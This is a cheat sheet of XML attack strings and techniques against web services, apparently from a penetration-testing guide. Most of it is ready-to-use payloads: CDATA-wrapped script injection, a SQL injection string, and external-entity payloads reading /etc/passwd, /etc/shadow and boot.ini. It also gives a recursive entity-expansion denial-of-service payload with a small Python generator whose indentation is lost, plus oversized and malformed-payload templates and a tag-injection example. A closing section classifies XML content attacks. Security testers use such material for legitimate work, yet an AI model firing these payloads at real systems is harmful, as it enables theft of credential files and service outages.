XML Content Attack Strings
==========================

<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<?xml version="1.0" encoding="ISO-
8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('j0e');<![CDATA[<]]>/SCRIPT<![CD
ATA[>]]></foo>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo
ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo
ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo
ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo
ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo>

- XML DoS Attack
================
DoS conditions can be caused on many different levels, so creativity is essential.
One common example is abusing a parser’s handling of DTD recursion by injecting
something like this into legitimate XML:

<!DOCTYPE foobar [
<!ENTITY x0 "hi there"><!ENTITY x1 "&x0;&x0;"><!ENTITY x2 "&x1;&x1;"><!ENTITY x3
"&x2;&x2;"><!ENTITY x4 "&x3;&x3;">
...
<!ENTITY x95 "&x94;&x94;"><!ENTITY x96 "&x95;&x95;"><!ENTITY x97

"&x96;&x96;"><!ENTITY x98 "&x97;&x97;"><!ENTITY x99 "&x98;&x98;">
<!ENTITY x100 "&x99;&x99;"> ]>
<foobar>&x100;</foobar>
That’s a lot of typing, we don’t do that as programmers. Here is a simple python
script that does this:
import sys
for i in range(101):
x = i-1
sys.stdout.write( "<!ENTITY x%s \"&x%s;&x%s;\">" % (i, x, x) )
If you inject enough (that is, insane amounts of) data directly into the XML
payload, another type of DoS condition may be achieved. Take for example the
following injection:
...
<wsse:Security>
<AttackTag>AttackValue</AttackTag>
<AttackTag>AttackValue</AttackTag>
...
<AttackTag>AttackValue</AttackTag>
<AttackTag>AttackValue</AttackTag>
</wsse:Security>
...
Imagine this AttackTag element being injected 2049 times, for instance. Messing with
the actual structure of seemingly legitimate (to the parser) XML in this way will
force the parser to try and deal with the data presented to it. Some threshold will
eventually get hit. That threshold is what you are after, so you must document it
and the repercussions of it getting reached.

Huge base64-encoded strings will get treated as binary data, so injecting something
like this into the XML payload may also yield some interesting results:
...
<wsse:Security>
<AttackTag>
AttackValue
Hhn1neoqRmcHSpP55mEPWaTalPCNdKEinRBGNPvOpzW/N1oojFYxjAl9NzCL55xvXfmjCcA
6w9o2aR/zeElCBccGo+4ngYl68mkdday1BBzjccHKcywDknKoJYbwt+adx 4vy8GUJe1ntjQ
...
+ci6wze69+TGWgVroaQdUPrDIJW71sxz0tWY7aw/+io+bCTWANekg4Kr/Anlf3OdVvvRkeSx
ZS8zXQ1/8yuFeq+5sr3JidHfwgsnvQP5AeU=
</AttackTag>
...
</wsse:Security>
...

- XML Parser Overload
=====================
You can overload the parser if you give it enough strange data that it tries to
actually properly handle. Here is an example:
...
<wsse:Security>
<AttackTag tag1="XX" tag2="XX" tag3="XX" tag4="XX" ... >
AttackValue
</AttackTag>
<AttackTag tag11="X" tag21="X" tag31="X" tag41="X" ... >
AttackValue
</AttackTag>
...
</wsse:Security>
...

Envision an attack where the bogus attributes being injected were quite large in
number. This would put quite a strain on the parser. Another attack technique is
feeding the parser XML that is incomplete, not well-formed, or not valid — for
example, combining huge amounts of data with a pattern of no closing tags. Something
like this could have an interesting effect on the target infrastructure:
...
<wsse:Security>
<AttackTag>
<AttackTag>
<AttackTag>
...
<AttackTag>
<AttackTag>
<AttackTag>
</wsse:Security>
...

- XML Injection
===============
After you understand the data you are up against, it may be possible to do some
injection directly into the XML and see how the service responds. The one tactic you
should always try is falsely terminating a tag, making an injection, and then
properly terminating to try and force processing of your modified XML. Here is a
simple example with the injection in bold:
<employee>
<empID>12345</empID>
<empName>Joe Tester</empName>
<empEmail>joe@example.com</empEmail><empID>98765</empID>
<empEmail>some@thing.com</empEmail>
...
</employee>



Three main areas of threat revolve around Web services:
XML Content Attacks
Web Service Attacks
Infrastructure-Level Attacks


XML Content Attacks
===================
An XML Content Attack is any type of XML-based, content-driven threat that has the
capability to do one or more of the following:
Cause an undesired state for the system, such as a DoS situation or a straight
crash.

Force the Web service host to execute malicious code.


Force the end-point target system to execute malicious code.
Take heed of the fact that this type of threat is entirely related to the payload,
or actual content, of the XML document. Content-driven attacks are application- or
platform-specific. From an application-specific perspective this means that how the
application performs, for instance with field and type checking, has all to do with
the level of real risk. The platform-specific aspects of these vulnerabilities
include those that are generated from the platform hosting the application.
These XML Content Attacks typically employ the tactic of embedding malicious content
with a legitimate XML document. It represents a working model similar to web-based
shellcode injection. This malicious content can cause a host of problems to the
target, from buffer overflows to SQL Injection. Just understand that it depends
entirely on the target at hand. XML Content Attacks come in the following flavors:

-Coercive Parsing
-Buffer Overflow
-External Entity
-Parameter Tampering
-Input Validation
-Error Handling
-XPATH/XQUERY
-Recursive Payload
-Oversized Payload


Coercive Parsing is a type of attack where the very nature of XML is forced to work
against itself. Some XML parser must parse XML documents so that the appropriate
methods and functions are invoked. As such if the actual parsing process gets
attacked, then a DoS state can be reached or malicious code can be injected.
Coercive Parsing basically exploits the XML document model’s support for nesting.
The concept is to overwhelm the XML parser by feeding it a deeply nested or
recursively nested XML document.

